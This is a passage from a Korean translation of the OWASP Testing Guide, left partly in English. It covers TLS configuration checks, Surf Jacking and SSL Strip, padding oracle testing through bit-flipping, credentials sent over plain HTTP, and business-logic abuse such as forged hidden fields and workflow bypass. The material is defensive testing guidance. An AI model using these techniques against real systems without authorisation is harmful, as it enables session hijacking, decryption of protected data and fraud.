The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.

[그림] Warning issued by Mozilla Firefox


다른 취약점 테스트

앞서 언급한 바와 같이, 사용된 SSL/TLS 프로토콜, 암호화 방식이나 인증서와 관련되지 않은 다른 유형의 취약점이 있습니다.

서버가 HTTP 및 HTTPS 프로토콜 모두 웹 사이트에서 제공하고, 공격자가 안전한 하나 대신 비 보안 채널을 사용하여 피해자를 강제로 허용하는 경우 취약점이 존재합니다.


Surf Jacking

Surf Jacking 공격은 Sandro Gauci에 의해 발표되었고, 공격자는 피해자 연결이 SSL 또는 TLS를 사용하여 암호화되었을 경우 HTTP 세션을 하이재킹하여 수행합니다.

다음은 해당 공격에 대한 시나리오 입니다.

  • 패해가자 https://somesecuresite/ 에 보안 웹 사이트로 로그인
  • 보안 사이트에서 클라이언트 로그인에 대한 세션 쿠키를 발행합니다.
  • 로그인 동안, 피해자는 새로운 브라우저 창을 열고 http://examplesite/로 접속
  • 동일 네트워크에 접속 상에 접속 중인 공격자는 http://examplesite에 평문 트래픽을 볼 수 있습니다.
  • 공격자는 http://examplesite에 평문 트래픽에 대한 응답으로 "301 Moved permanently"로 다시 전송

응답은 examplesite가 somesecuresite로 보여지도록 "Location: http://somesecuresite/" 헤더를 포함합니다. URL 스키마는 HTTP이지 HTTPS가 아닌 것을 알 수 있습니다. - 피해자의 브라우저는 http://somesucuresite/로 새로운 평문 접속을 시작하고, 평문으로 HTTP 헤더에 쿠키를 포함하여 전송합니다. - 공격자는 이 트래픽을 보고 나중에 사용하기 위해 쿠키를 기록합니다.

다음 테스트를 수행하여 웹 사이트 취약점 여부 확인

  1. HTTP와 HTTPS 프로토콜 둘다 지원하는 웹 사이트인지 체크protocols
  2. "Secure" 플래그를 가지고 있지 않은 쿠키인지 확인

SSL Strip

일부 어플리케이션은 HTTP와 HTTPS 둘다 지원합니다.

either for usability or so users can type both addresses and get to the site.

종종 사용자는 링크 또는 리다이렉션에서 HTTPS 웹 사이트로 이동합니다.

Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP. An attacker in a privileged position can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. 어플리케이션이 HTTP와 HTTPS 둘다 지원한다면 취약합니다.


HTTP 프록시를 통한 테스트

기업 환경 내부에서 테스터는 직접 액세스할 수 없는 서비스가 있기 때문에, CONNECT 메소드를 사용하여 HTTP 프록시를 통해서만 접근할 수 있습니다.

대부분의 툴은 SSL/TLS 핸드쉐이크를 시작하려면 원하는 TCP 포트에서 연결을 시도하기 때문에, 이 시나리오에서 동작하지 않습니다.

socat과 같은 미들 소프트웨어의 도움으로 HTTP 프록시 뒤에 서비스로 사용 툴을 활성화 할 수 있습니다.


예제 8. HTTP proxy를 통한 테스트

프록시 10.13.37.100:3128을 통해 destined.application.lan:443에 접속하기 위해 socat을 다음과 같이 실행합니다.

$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128

테스터는 다음 명령을 통해 localhost:9999에 접속할 수 있습니다.

$ openssl s_client -connect localhost:9999

socat을 이용한 프록시를 통해 localhost:9999로 destined.application.lan:443에 접속할 수 있습니다.


설정 검토


취약한 SSL/TLS 암호화 방식 테스트

HTTPS 서비스를 제공하는 웹 서버의 설정 체크 만약 웹 어플리케이션이 SSL/TLS를 제공한다면, 다음을 확인합니다.


예제 9. 윈도우 서버

마이크로소프트 윈도우 서버에서 레지스트리 키를 사용하여 설정을 체크합니다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\

Ciphers, Protocols, KeyExchangeAlgorithms을 포함한 서브키를 가지고 있습니다.

예제 10: 아파치

암호화 방식과 protocols를 확인하기 위해 아파치2 웹 서버에서 지원하는 ssl.conf를 열고, SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation, SSLCompression을 검색합니다.


SSL 인증서 유효성 테스트 - 클라이언트와 서버

서버와 클라이언트 레벨에서 어플리케이션에 의해 사용되는 인증서의 유효성을 검사합니다. 웹 서버 레벨에서 주로 인증서가 이용되지만, SSL에 의해 보호할 통신 경로를 추가할 수 있습니다. 테스터는 모든 SSL 보안 채널을 확인하기 위해 어플리케이션의 아키텍쳐를 확인해야합니다.

Testers should check the application architecture to identify all SSL protected channels.


References

OWASP Resources

Whitepapers

OTG-CRYPST-002 (패딩 오라클 침투 테스트)


개요

패딩 오라클은 클라이언트에 의해 제공되는 암호 데이터를 복호화하는 어플리케이션 함수 입니다. (예를 들어, 클라이언트에 저장되는 내부 세션 상태) 복호화 후 패딩의 유효성 상태를 확인합니다. 패팅 오라클 존재는 공격자가

The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations.

This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.

Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.

예제

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text. An error condition is present if the padding doesn't match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior. Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation. The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application. A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.


테스트 방법

Black Box Testing
패딩 오라클 취약점 테스트

우선 패딩 오라클을 위한 입력 가능한 포인트를 확인해야합니다.

일반적으로 다음 조건이 충족되어야 합니다.

  1. 데이터가 암호화되어 있어야 합니다. 좋은 후보로는 랜덤하게 나타나는 값입니다.
  2. 블록 암호가 사용되어야 합니다. 복호화된 암호문의 길이가 8 또는 16 바이트와 같이 암호문 블록 사이즈 배수여야 합니다. 다른 암호문은 길이의 공약수를 공유할 수 있어야 합니다.

예제

Dg6W8OiWMIdVokIDH15T/A==
|0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc|

만약 입력할 수 있는 부분이 확인되면, 암호화된 값을 비트단위로 조작한 다음 어플리케이션 행위를 확인해야합니다. 일반적으로 Base64로 인코딩된 값은 암호문 앞에 초기 벡터를 포함할 것입니다. 평문 텍스트 p와 암호문의 블록사이즈 n이 주어지고, 블록수는 b는 ceil(length(b)/n)이 될 것입니다. 암호화된 문자열 길이는 초기 벡터때문에 y=(b+1)*n이 될 것입니다.

To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block b-1 (the least significant bit of the byte at y-n-1), re-encode and send. Next, decode the original string, flip the last bit of the block b-2 (the least significant bit of the byte at y-2*n-1), re-encode and send. If it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hard-coded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).

The tests and the base value should at least cause three different states while and after decryption:

  • Cipher text gets decrypted, resulting data is correct.
  • Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.
  • Cipher text decryption fails due to padding errors.

Compare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.

예제

  • ASP.NET throws "System.Security.Cryptography.Cryptographic Exception: Padding is invalid and cannot be removed." if padding of a decrypted cipher text is broken.
  • In Java a javax.crypto.BadPaddingException is thrown in this case.
  • Decryption errors or similar can be possible padding oracles.

예상 결과

A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.

Grey Box Testing
패딩 오라클 취약점 테스트

Verify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:

  1. The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.
  2. All error states while decryption and further processing are handled uniformly.

Tools

예제


References

Whitepapers

OTG-CRYPST-003 (민감한 정보가 암호화되지 않은 채널에서 보내지는 경우 침투 테스트)


개요

네트워크를 통해 민감한 데이터가 전송될 때 보호되어야만 합니다. 만약 데이터가 HTTPS 또는 다른 방법의 암호화로 전송된다면, 보호 메카니즘은 제한이나 취약점이 없어야 합니다.

경험적으로 데이터가 저장될 때 보호되어야 하는 경우, 전송 시에도 역시 보호되어야 합니다.

민감한 데이터에 대한 몇가지 예제:

  • 인증에 사용하는 정보들(Credentials, PINs, Session identifiers, Tokens, Cookies 등)
  • 법률, 규정 또는 특정 조직의 정책에 의해 보호되는 정보 (Credit Cards, 고객 데이터)

만약 어플리케이션이 민감한 정보를 암호화되지 않은 채널을 통해 전송한다면, 보안 위험이 발생할 수 있습니다.


테스트 방법

보호되어야하는 다양한 형태의 정보들은 어플리케이션에서 평문으로 전송될 것입니다. 정보가 HTTPS 대신 HTTP를 통해 전송되거나 취약한 암호문을 사용한다면 확인이 가능합니다.

예제 1: HTTP를 통한 Basic 인증

일반적인 예제는 HTTP를 통한 Basic 인증을 이용하는 것입니다. Basic 인증을 사용할 때, 사용자 인증은 인코딩이 아닌 암호화가 되고, HTTP 헤더로 전송됩니다.

아래 에제에서 테스터는 curl을 사용하여 테스트 할 수 있습니다.

어플리케이션이 HTTPS 대신 기본 인증 및 HTTP를 사용하는 방법을 참고

curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162
Content-Type: text/html

<html><head><title>401 Authorization Required</title></
head>
<body bgcolor=white> <h1>401 Authorization Required</
h1> Invalid login credentials! </body></html>

예제 2: HTTP를 통한 Form 기반 인증 수행

또 다른 전형적인 예제는 HTTP를 통해 사용자 인증 정보를 전송하는 인증 form 입니다.

아래 예제에서는 form의 "action" 속성을 사용하여 HTTP를 보내는 걸 볼 수 있습니다. 웹 프록시로 HTTP 트래픽을 검사하여 이 이슈를 보는 것이 가능합니다.

<form action="http://example.com/login">
<label for="username">User:</label>
<input type="text" id="username" name="username" value=""/>
<br />
<label for="password">Password:</label>
<input type="password" id="password" name="password" value=""/>
<input type="submit" value="Login"/>
</form>

Tools

  • curl

References

OWASP Resources
  • OWASP Testing Guide - 취약한 SSL/TLS 암호, 불충분한 전송 계층 보호 침투 테스트 (OTG-CRYPST-001)
  • OWASP TOP 10 2010 - Insufficient Transport Layer Protection
  • OWASP TOP 10 2013 - Sensitive Data Exposure
  • OWASP ASVS v1.1 - V10 Communication Security Verification Requirements
  • OWASP Testing Guide - 쿠키 속성 테스트 (OTG-SESS-002)

09_비즈니스 로직 테스트

OTG-BUSLOGIC-001 (비즈니스 로직 데이터 인증 테스트)


개요

어플리케이션은 논리적으로 프론트 엔드에서 뿐만 아니라 시스템 어플리케이션의 서버 측에서도 유효한 데이터 입력이 되도록 해야합니다.

서버에서 데이터를 로컬에서만 확인하면 프록시를 통한 인젝션이나 다른 시스템 이관시 응용 프로그램이 취약해질 수 있습니다.

이것은 범위 값 분석(BVA)을 수행하는 것과는 조금 다르며, 대부분의 경우 엔트리 포인트에서 간단히 확인할 수는 없지만 대개 다른 시스템을 확인해야합니다.

비즈니스 데이터 유효성 검사 관련 취약점은 응용 프로그램에 따라 다르며, 단순한 비즈니스 논리 워크 플로우를 위반하는 것이 아니라, 논리 데이터에 더 관심을 두기 때문에 요청 변조 관련 취약점과는 다릅니다.

응용 프로그램의 프론트 엔드와 백 엔드는 사용하고 전달되는 데이터가 논리적으로 유효하다는 것을 검증하고 확인해야 합니다.

사용자가 응용 프로그램에 유효한 데이터를 제공하더라도, 비즈니스 논리로 인해 응용 프로그램이 상황에 따라 다르게 동작할 수 있습니다.


예제


예제 1

사용자가 카펫을 주문 할 수 있는 멀티미디어 전자상 거래 사이트를 운영한다고 가정합니다. 사용자는 카펫, 사이즈, 지불 방법을 선택하고, 프론트 엔드 어플리케이션은 모든 입력 정보가 정확하고 유효한지 확인합니다. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner's system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?


예제 2

Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night's data.


테스트 방법

일반 테스트 방법
  • 프로젝트 문서를 검토하고 데이터 입력 포인트 또는 시스템 또는 소프트웨어 사이에 입력할 수 있는 있는 포인트

를 찾아 테스트 공격 진행 - 어플리케이션 및 시스템에서 논리적으로 잘못된 데이터 입력 검색


구체적인 테스트 방법
  • "valid" 값 허용되는 지 확인하기 위해 어플리케이션의 프론트 엔트 GUI 기능 유효성 테스트 수행
  • Using an intercepting proxy observe the HTTP POST/GET look ing for places that variables such as cost and quality are passed. Specifically, look for "hand-offs" between application/systems that may be possible injection of tamper points.
  • Once variables are found start interrogating the field with log ically "invalid" data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.

관련 테스트 케이스

  • 모든 입력 유효성 검사 테스트 케이스
  • 계정 리스트 및 추측 가능한 사용자 테스트 (OTG-IDENT-004)
  • 세션 관리 스키마 우회 테스트 (OTG-SESS-001)
  • 노출 세션 변수 테스트 (OTG-SESS-004)

도구

  • OWASP Zed Attack Proxy (ZAP)

개선 방안

응용 프로그램/시스템은 응용 프로그램이나 시스템의 모든 입력 및 전달 지점에서 "논리적으로 유효한" 데이터 만 받아 들여지고, 시스템에 일단 입력되면 데이터가 단순하게 신뢰되지 않도록 해야 합니다.


OTG-BUSLOGIC-002 (요청 위조 기능 테스트)


개요

Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose "hidden" features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.

Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow. Applications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.

Also, forged requests may allow subvention of programmatic or business logic flow by invoking "hidden" features or functionality such as debugging initially used by developers and testers sometimes referred to as an "Easter egg". "An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt." http://en.wikipedia.org/wiki/ Easter_egg_(media)


예제


예제 1

Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or "no discount has been taken" value multiple times to take advantage of the same discount multiple times.


예제 2

Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level's points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly. Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.


테스트 방법

일반 테스트 방법
  • 프로젝트 문서를 검토하고 추측 또는 예측할 수 있거나 숨겨진 필드 함수를 찾아 테스트 공격 진행
  • 어플리케이션 및 시스템에서 논리적으로 잘못된 데이터 입력 검색

구체적인 테스트 방법 1
  • Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.
  • If it is found that some value is guessable this value may be changed and one may gain unexpected visibility.

구체적인 테스트 방법 2
  • Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.
  • If any are found try to guess and change these values to get a different application response or behavior.

관련 테스트 케이스

  • 노출 세션 변수 테스트 (OTG-SESS-004)
  • 크로스 사이트 요청 위조 테스트 (OTG-SESS-005)
  • 계정 리스트 및 추측 가능한 사용자 테스트 (OTG-IDENT-004)

도구

  • OWASP Zed Attack Proxy (ZAP)

개선 방안

The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.


OTG-BUSLOGIC-003 (무결성 검사 테스트)


개요

대부분 어플리케이션은 숨겨진 입력 부분을 두고 사용자에 따라 서로 다른 필드를 표시하도록 설계되어 있습니다. 그러나, 이런 경우 프록시를 사용하여 서버측에 숨겨진 필드 값을 입력할 수 있습니다. 이 경우, 서버측 컨트롤 관계형 또는 서버측의 적절한 데이터가 서버와 어플리케이션의 특정 비즈니스 로직에 기반하여 허용되도록 편집해야합니다.

Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers.

Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating. Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be "protected" from unauthorized read, writing and removal.


예제


예제 1

Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to "trick" the server into believing that the request has come from an admin user and change password of other users.


예제 2

Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.


예제 3

Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver's license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse's name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed.


예제 4

Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?


테스트 방법

일반 테스트 방법
  • Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.
  • For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.
  • Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that .should not be allowed per the busines logic workflow.
구체적인 테스트 방법 1
  • 프록시 캡쳐를 사용하여 HTTP 트래픽에 숨겨진 필드 검색
  • 만약 히든 필드를 찾았다면, 이 필드를 GUI 어플리케이션과 비교하고, 프록시를 통해 비즈니스 처리를 우회하는 데이터 값을 입력하여 의도하지 않는 값을 처리
구체적인 테스트 방법 2
  • 프록시 캡쳐를 사용하여 HTTP 트래픽에 non-editable 어플리케이션 영역에서 정보 삽입이 가능한 곳 검색
  • 만약 삽입이 가능한 곳을 찾았다면, 이 부분을 어플리케이션과 비교하고, 프록시를 통해 비즈니스 처리를 우회하는 데이터 값을 입력하여 의도하지 않는 값을 처리
구체적인 테스트 방법 3
  • 수정할 수 있는 어플리케이션 또는 시스템 구성을 목록화 (로그, 데이터베이스)
  • 식별된 구성 요소에서 읽기, 수정, 삭제 시도. 예를 들어, 로그 파일을 확인하고, 테스터는 수집한 데이터 및 정보를 조작 시도

관련 테스트 케이스

  • 모든 입력 유효성 검사 테스트 케이스

도구

  • OWASP Zed Attack Proxy (ZAP)

참고 문헌


개선 방안

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.


OTG-BUSLOGIC-004 (프로세스 시간 테스트)


개요

It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the "expected" time frame.

Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.

Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and "game the system".


예제


예제 1

Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.


예제 2

Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.


예제 3

Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated.


예제 4

Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?


테스트 방법

  • Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.
  • Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.

관련 테스트 케이스

  • 쿠키 속성 테스트 (OTG-SESS-002)
  • 세션 타임아웃 테스트 (OTG-SESS-007)

참고 분헌

None


개선 방안

Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame. Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an "acceptable" amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.


OTG-BUSLOGIC-005 (기능 사용 제한 시간 테스트)


개요

어플리케이션에서 해결해야하는 문제 중 대부분은 기능 사용 또는 실행에 대한 시간 제한이 요구됩니다.

Applications must be "smart enough" to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.

Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times. Attackers may be able to circumvent the business logic and execute a function more times than "allowable" exploiting the application for personal gain.


예제

Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one "allowable" discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times?


테스트 방법

  • Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.
  • For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.

관련 테스트 케이스

  • 계정 리스트 및 추측 가능한 사용자 테스트 (OTG-IDENT-004)
  • 취약한 잠금 매카니즘 테스트 (OTG-AUTHN-003)

참고 문헌


개선 방안

The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.


OTG-BUSLOGIC-006 (워크 플로우 우회에 대한 테스트)


개요

Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow. "A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work." (https:// en.wikipedia.org/wiki/Workflow)

The application's business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are "rolled back" or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases.

The applications business process must have checks to ensure that the user's transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be "rolled back" and removed if the transaction is not successfully completed.


예제


예제 1

Many of us receive so type of "club/loyalty points" for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their "basket" and tender. In this case the system either should not apply points/ credits to the account until it is tendered or points/credits should be "rolled back" if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.


예제 2

An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a "black" the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.


테스트 방법

일반 테스트 방법
  • Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.
  • For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow.
테스트 방법 1
  • Start a transaction going through the application past the points that triggers credits/points to the users account.
  • Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.
테스트 방법 2
  • On a content management or bulletin board system enter and save valid initial text or values.
  • Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some "invalid" data or information may be specific words (profanity) or specific topics (such as political issues).

관련 테스트 케이스

  • 디렉토리 트레버셜 및 파일 인클루트 테스트 (OTG-AUTHZ-001)
  • 인증 스키마 우회 테스트 (OTG-AUTHZ-002)
  • 세션 관리 스키마 우회 테스트 (OTG-SESS-001)
  • 비즈니스 로직 데이터 인증 테스트 (OTG-BUSLOGIC-001)
  • 요청 위조 기능 테스트 (OTG-BUSLOGIC-002)
  • 무결성 검사 테스트 (OTG-BUSLOGIC-003)
  • 프로세스 시간 테스트 (OTG-BUSLOGIC-004)
  • 기능 사용 제한 시간 테스트 (OTG-BUSLOGIC-005)
  • 어플리케이션 오용에 대한 테스트 방어 (OTG-BUSLOGIC-007)
  • 예기치 않은 파일 형식 업로드 테스트 (OTG-BUSLOGIC-008)
  • 악성 파일 형식 업로드 테스트 (OTG-BUSLOGIC-009)

참고 문헌


개선 방안

The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.


OTG-BUSLOGIC-007 (어플리케이션 오용에 대한 테스트 방어)


개요

The misuse and invalid use of of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application. The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The application's owner will thus not know their application is under attack.


예제

An authenticated user undertakes the following (unlikely) sequence of actions:

  1. Attempt to access a file ID their roles is not permitted to download
  2. Substitutes a single tick (') instead of the file ID number
  3. Alters a GET request to a POST
  4. Adds an extra parameter
  5. Duplicates a parameter name/value pair The application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application:
  • 크리티컬 기능 사용안 함
  • Enables additional authentication steps to the remaining functionality
